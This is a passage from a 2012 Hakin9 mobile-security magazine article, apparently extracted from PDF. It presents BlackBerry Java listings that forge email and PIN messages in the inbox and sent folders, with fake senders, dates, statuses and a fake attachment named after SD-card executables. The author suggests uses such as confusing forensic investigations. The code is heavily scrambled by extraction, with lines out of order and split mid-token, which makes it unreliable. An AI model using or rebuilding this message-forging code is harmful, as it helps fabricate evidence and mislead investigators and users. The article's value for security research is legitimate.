static String MisLeadSentMessage(Address oaddress, //BUILDER OF SENT EMAIL MESSAGE { String message, boolean delivered)

message += e.getMessage(); msg.setSentDate(new Date(System. // ADD NEW TIME currentTimeMillis()));

String error_message = ; Store store = Session. getDefaultInstance().getStore(); SENT);

sentfolder.appendMessage(msg);

// ADD NEW EMAIL MESSAGE TO SENT FOLDER message = no_error; }

if (error_message.length() < 1) { error_

Folder[] folders = store.list(Folder. // RETRIVE A SENT FOLDER

return error_message;

Folder sentfolder = folders[0];

Message msg = new Message(sentfolder); //CREATE a NEW MESSAGE IN SENT FOLDER {


if (delivered) // CHECK DELIVERY STATUS

static String MisLeadInboxMessage(Address

//BUILDER OF RECEIVED EMAIL MESSAGE WITHOUT { ATTACHMENT

fromAddress, String message)

} {

TX_SENT, Message.Status.TX_SENT);

msg.setStatus(Message.Status.

String error_message = ; Session session = null; {


try

else

TX_ERROR, Message.Status.TX_ERROR); OPENED, true); } { msg.setFlag(Message.Flag. // SET READ STATUS

msg.setStatus(Message.Status.

waitForDefaultSession(); { error_

session = Session.

catch (NoSuchServiceException e)

message += e.getMessage(); }

try

Store store = session.getStore(); INBOX);

Folder[] folders = store.list(Folder. msg.addRecipient(Message. // ADD RECIPIENT // RETRIVE AN INBOX FOLDER Folder inbox = folders[0]; final Message msg = new Message(inbox); //CREATE A NEW MESSAGE IN INBOX FOLDER { }
try

RecipientType.TO, oaddress); }

catch (MessagingException e) { error_ message += e.getMessage(); }

msg.setSubject(subject);
try

msg.setContent(message); { error_

// ADD SUBJECT TO EMAIL MESSAGES {

catch (NoSuchServiceException e)

message += e.getMessage(); }

msg.setSentDate(new Date()); // ADD NEW DATE

msg.setFrom(fromAddress); //ADD A SENDER msg.setStatus(Message.Status.RX_RECEIVED, //ADD A RECEIVED STATUS Message.Status.RX_RECEIVED);

catch (MessagingException e) { error_ message += e.getMessage(); }

try

msg.setSentDate(new Date(System. //ADD DATEnTIME true); currentTimeMillis()));

msg.setContent(message); // ADD BODY

msg.setFlag(Message.Flag.REPLY_ALLOWED, msg.setInbound(true);

catch (MessagingException e) { error_

msg.setSubject(subject);

www.hakin9.org/en

77

Mobile Security

Listing 8d. MESSAGE MISLEADING


//ADD A SUBJECT TO EMAIL MESSAGE inbox.appendMessage(msg); //ADD EMAIL MESSAGE TO THE INBOX FOLDER { } }
if (error_message.length() < 1)

return err;

//BUILDER OF RECEIVED PIN MESSAGE { String err = ;

static String MisLeadInboxPIN(String FakePIN)

error_message = no_error;

return error_message;

String error_message = ; Store store = Session. getDefaultInstance().getStore(); INBOX);

//BUILDER OF SENT PIN MESSAGE { String err = ;

static String MisLeadSentPIN(String FakePIN)

Folder[] folders = store.list(Folder. //RETRIEVE a PIN INBOX FOLDER

Folder inboxfolder = folders[0];

String error_message = ; Store store = Session. getDefaultInstance().getStore(); SENT);

Message msg = new Message(inboxfolder); //CREATE A PIN MESSAGE IN THE INBOX FOLDER

Folder[] folders = store.list(Folder. //RETRIEVE a PIN SENT FOLDER

PINAddress recipients[] = new


try

PINAddress[1];

Folder sentfolder = folders[0];

Message msg = new Message(sentfolder); PINAddress recipients[] = new


try

//CREATE A PIN MESSAGE IN THE SENT FOLDER PINAddress[1];

catch (Exception e)
try

//ADD RECIPIENT BY PIN and NAME { err += }

PINAddress(FakePIN, Robert);

recipients[0]= new

e.getMessage();

PINAddress(FakePIN, Robert); NAME

recipients[0]= new

//ADD RECIPIENT BY PIN and

//ADD RECIPIENTS TO PIN STRUCTURE //ADD A SUBJECT msg.setSubject(SUBJ);

RecipientType.TO, recipients);

msg.addRecipients(Message.

catch (Exception e) { err += e.getMessage(); }

try

RecipientType.TO, recipients); STRUCTURE //ADD RECIPIENTS TO PIN msg.setSubject(SUBJ); //ADD A SUBJECT //ADD A BODY msg.setContent(BODY);

msg.addRecipients(Message.

//ADD A BODY

msg.setContent(BODY); msg.setStatus(Message.Status.

RX_RECEIVED, Message.Status.RX_ //ADD A RECEIVED STATUS RECEIVED);

//PUT MESSAGE INTO INBOX FOLDER { err +=

inboxfolder.appendMessage(msg);

TX_SENT, Message.Status.TX_SENT); //ADD A SENT STATUS

msg.setStatus(Message.Status. }

catch (Exception e)
return err;

e.getMessage();

sentfolder.appendMessage(msg); } //PUT MESSAGE INTO SENT FOLDER

static String MisLeadInboxMessageAttach(Address //BUILDER OF RECEIVED EMAIL MESSAGE WITH ATTACHMENT { fromAddress, String message)

catch (Exception e) { err += e.getMessage(); }

78

04/2012

Listing 8e. MESSAGE MISLEADING


String error_message = ; Session session = null; {
try

try

= MIMETypeAssociations. getMIMEType(fullname1); WITH CORRECT FILE TYPE { error_ } { } //ADD ATTACHMENT

mtype

waitForDefaultSession();

session = Session.

catch (NoSuchServiceException e)

Store store = session.getStore(); INBOX);

message += e.getMessage(); }

message += e.getMessage(); }

catch (Exception e) { error_

Folder[] folders = store.list(Folder.

finally

// RETRIVE AN INBOX FOLDER

Folder inbox = folders[0];

//CREATE A NEW MESSAGE IN INBOX FOLDER { }


try

final Message msg = new Message(inbox); }

name-$$, data);

mentPart(multipart, mtype, file-

attach = new SupportedAttach

//ADD A FAKE ATTACHMENT NAME

msg.setContent(message); catch (MessagingException e) { error_

multipart.addBodyPart(attach); data = readFile(fullname2); mtype = ; {


try

msg.setFrom(fromAddress); //ADD A SENDER

message += e.getMessage(); }

msg.setStatus(Message.Status.RX_RECEIVED, //ADD A RECEIVED STATUS Message.Status.RX_RECEIVED);

try

msg.setSentDate(new Date(System. //ADD DATEnTIME true); currentTimeMillis()));

= MIMETypeAssociations. getMIMEType(fullname2); WITH CORRECT FILE TYPE } { //ADD ATTACHMENT

mtype

msg.setFlag(Message.Flag.REPLY_ALLOWED, msg.setInbound(true);

catch (Exception e) error_message +=

msg.setSubject(subject);

//ADD A SUBJECT TO EMAIL MESSAGE String fullname1 = file:///SDCard/bin/ String fullname2 = file:///SDCard/bin/ //SET PATH OF EXECUTION FILE byte[] data = new byte[256]; data = readFile(fullname1); ATTACHMENT DATA //CALL YOUR OWN READ METHOD TO GET BlackBerryKit_1.cod; BlackBerryKit_1.jad; } {

e.getMessage(); }

finally

mentPart(multipart, mtype, filename-$$$, data); }

attach = new SupportedAttach

//ADD A FAKE ATTACHMENT NAME

multipart.addBodyPart(attach);
try

Multipart multipart = new Multipart(); String mtype = ; {


try

SupportedAttachmentPart attach = null;

{ }

msg.setContent(multipart);

catch (MessagingException e)

www.hakin9.org/en

79

Mobile Security

Listing 8f. MESSAGE MISLEADING


{ error_message += }

streamToBytes(is);

data = IOUtilities.

e.getMessage();

catch (IOException e)
finally

//ADD A FAKE ATTACHMENT inbox.appendMessage(msg);

getMessage()); }

{ Dialog.alert(e.

//PUT AN EMAIL MESSAGE WITH ATTACHMENT TO INBOX FOLDER { } }


if (error_message.length() < 1)

try if (null != is)

error_message = no_error;

{ is.close();

return error_message;

} {

if (null != fconn)

public static byte[] readFile(String FullName) { byte[] data = null;

close(); }

fconn.

FileConnection fconn = null; DataInputStream is = null; {


try

} {

open(FullName, Connector.READ); openDataInputStream(); is = fconn.

fconn = (FileConnection) Connector. }

Dialog.alert(e.getMessage()); }

catch (IOException e)

return data;

the previous location, so it is a kind of timeline (Figure 21 and Listing 8).

Conclusion

These two articles describe how anyone could easily develop malware or a security application to manage

with other vulnerabilities. These highlighted points are very actual because some of them take advantage of old security issues and concepts from DOS, UNIX and other OSs.

YurY ChemerkiN
Graduated at Russian State University for the Humanities (http://rggu.com/) in 2010. At present, postgraduate at RSUH. Information Security Researcher since 2009 and currently works as mobile and social information security researcher in Moscow. Experienced in Reverse Engineering, Software Programming, Cyber & Mobile Security Researching, Documentation, and Security Writing as regular contributor. Now researching Cloud Security and Social Privacy. Contacts: I have a lot of social contacts, thats way youre able to choose the most suitable way for you. Regular blog: http://security-through-obscurity.blogspot.com Regular Email: yury.chemerkin@gmail.com Skype: yury.chemerkin Other my contacts (blogs, IM, social networks) youll find among http links and social icons before TimeLine section on Re.Vu: http://re.vu/yury.chemerkin

Figure 21. ScreenShot of BlackBerry Map

80

04/2012

The last exploitation

The last exploitation covers so-called message misleading discussed in one of my previous articles. I recall some ideas and present code that attempts to cover all entry points and can be easily adapted for testing. RIM API has ability to create PIN

mail service. What are the goals you gain by implementing these ideas? Maybe you would like to build steganography, maybe you have to make a lot of fake message with fake interaction graphs to perplex forensic investigating or maybe something else it is all up to you (Figure 22-Figure 25).

Figure 22. Sent Email Message

Figure 24. Pin-to-PIN Message with Error Status

Figure 23. Received Email Message with attach and e-mail with any possible parameters like their type as incoming, outgoing, received, sent, draft, etc. and their status (read, unread, error while sent, etc.). You may set your own date, list of recipients, subjects, body, attachments. Note that not one of these messages will synchronize with your real e-

Figure 25. Pin-to-PIN Message with Sent Status

On the Net

http://forum.drweb.com/index.php?showtopic=302926 New Trojan horse for Android spreads with Angry Birds Rio Unlock, Dr.Web http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu.html, http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu2/ Researching for DroidKungFu variants, Xuxian Jiang, Assistant Professor, Department of Computer Science, NC State University http://blog.mylookout.com/blog/2011/01/07/geinimi-trojan-technical-analysis/ Geinimi Trojan Technical Analysis, http://www.informationweek.com/news/security/mobile/231001685 Zitmo Banking Trojan http://www.computerworld.com/s/article/9210764/New_bank_Trojan_employs_fresh_tricks_to_steal_account_data OddJob bank trojan http://www.elcomsoft.com/ebbe.html Elcomsoft Blackberry Backup Explorer

www.hakin9.org/en

81

You might also like